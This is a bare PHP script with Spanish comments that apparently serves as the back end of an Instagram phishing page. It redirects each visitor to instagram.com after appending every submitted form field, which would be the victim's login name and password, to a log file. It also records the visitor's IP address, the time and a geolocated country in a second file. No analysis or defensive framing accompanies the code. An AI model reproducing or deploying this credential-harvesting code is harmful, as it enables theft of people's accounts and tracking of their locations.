<?php
  
// Set the location to redirect the page
header ('Location: http://www.instagram.com');
  
// Open the text file in writing mode 
$file = fopen("log.txt", "a");
  
foreach($_POST as $variable => $value) {
    fwrite($file, $variable);
    fwrite($file, "=");
    fwrite($file, $value);
    fwrite($file, "\r\n");
}
  
fwrite($file, "\r\n");
fclose($file);



    //Llamamos a la función, y ella hace todo :)
    write_visita ();

    //función que escribe la IP del cliente en un archivo de texto    
    function write_visita (){

        //Indicar ruta de archivo válida
        $archivo="visitas.txt";

        //Si que quiere ignorar la propia IP escribirla aquí, esto se podría automatizar
        $ip="mi.ip.";
        $new_ip=get_client_ip();

        if ($new_ip!==$ip){
            $now = new DateTime();

       //Distinguir el tipo de petición, 
       // tiene importancia en mi contexto pero no es obligatorio

        if (!$_GET) {
            $datos="*POST: ".$_POST;

        } 
        else
        {
            //Saber a qué URL se accede
            $peticion = explode('/', $_GET['PATH_INFO']);
            $datos=str_pad($peticion[0],10).' '.$peticion[1];   
        }
        $txt =  str_pad($new_ip,25). " ".
                str_pad($now->format('Y-m-d H:i:s'),25)." ".
                str_pad(ip_info($new_ip, "Country"),25)." ".json_encode($datos);

        $myfile = file_put_contents($archivo, $txt.PHP_EOL , FILE_APPEND);
        }
    }


    //Obtiene la IP del cliente
    function get_client_ip() {
        $ipaddress = '';
        if (getenv('HTTP_CLIENT_IP'))
            $ipaddress = getenv('HTTP_CLIENT_IP');
        else if(getenv('HTTP_X_FORWARDED_FOR'))
            $ipaddress = getenv('HTTP_X_FORWARDED_FOR');
        else if(getenv('HTTP_X_FORWARDED'))
            $ipaddress = getenv('HTTP_X_FORWARDED');
        else if(getenv('HTTP_FORWARDED_FOR'))
            $ipaddress = getenv('HTTP_FORWARDED_FOR');
        else if(getenv('HTTP_FORWARDED'))
           $ipaddress = getenv('HTTP_FORWARDED');
        else if(getenv('REMOTE_ADDR'))
            $ipaddress = getenv('REMOTE_ADDR');
        else
            $ipaddress = 'UNKNOWN';
        return $ipaddress;
    }


    //Obtiene la info de la IP del cliente desde geoplugin

    function ip_info($ip = NULL, $purpose = "location", $deep_detect = TRUE) {
        $output = NULL;
        if (filter_var($ip, FILTER_VALIDATE_IP) === FALSE) {
            $ip = $_SERVER["REMOTE_ADDR"];
            if ($deep_detect) {
                if (filter_var(@$_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP))
                    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
                if (filter_var(@$_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP))
                    $ip = $_SERVER['HTTP_CLIENT_IP'];
            }
        }
        $purpose    = str_replace(array("name", "\n", "\t", " ", "-", "_"), NULL, strtolower(trim($purpose)));
        $support    = array("country", "countrycode", "state", "region", "city", "location", "address");
        $continents = array(
            "AF" => "Africa",
            "AN" => "Antarctica",
            "AS" => "Asia",
            "EU" => "Europe",
            "OC" => "Australia (Oceania)",
            "NA" => "North America",
            "SA" => "South America"
        );
        if (filter_var($ip, FILTER_VALIDATE_IP) && in_array($purpose, $support)) {
            $ipdat = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=" . $ip));
            if (@strlen(trim($ipdat->geoplugin_countryCode)) == 2) {
                switch ($purpose) {
                    case "location":
                        $output = array(
                            "city"           => @$ipdat->geoplugin_city,
                            "state"          => @$ipdat->geoplugin_regionName,
                            "country"        => @$ipdat->geoplugin_countryName,
                            "country_code"   => @$ipdat->geoplugin_countryCode,
                            "continent"      => @$continents[strtoupper($ipdat->geoplugin_continentCode)],
                            "continent_code" => @$ipdat->geoplugin_continentCode
                        );
                        break;
                    case "address":
                        $address = array($ipdat->geoplugin_countryName);
                        if (@strlen($ipdat->geoplugin_regionName) >= 1)
                            $address[] = $ipdat->geoplugin_regionName;
                        if (@strlen($ipdat->geoplugin_city) >= 1)
                            $address[] = $ipdat->geoplugin_city;
                        $output = implode(", ", array_reverse($address));
                        break;
                    case "city":
                        $output = @$ipdat->geoplugin_city;
                        break;
                    case "state":
                        $output = @$ipdat->geoplugin_regionName;
                        break;
                    case "region":
                        $output = @$ipdat->geoplugin_regionName;
                        break;
                    case "country":
                        $output = @$ipdat->geoplugin_countryName;
                        break;
                    case "countrycode":
                        $output = @$ipdat->geoplugin_countryCode;
                        break;
                }
            }
        }
        return $output;
    }

 exit;
?>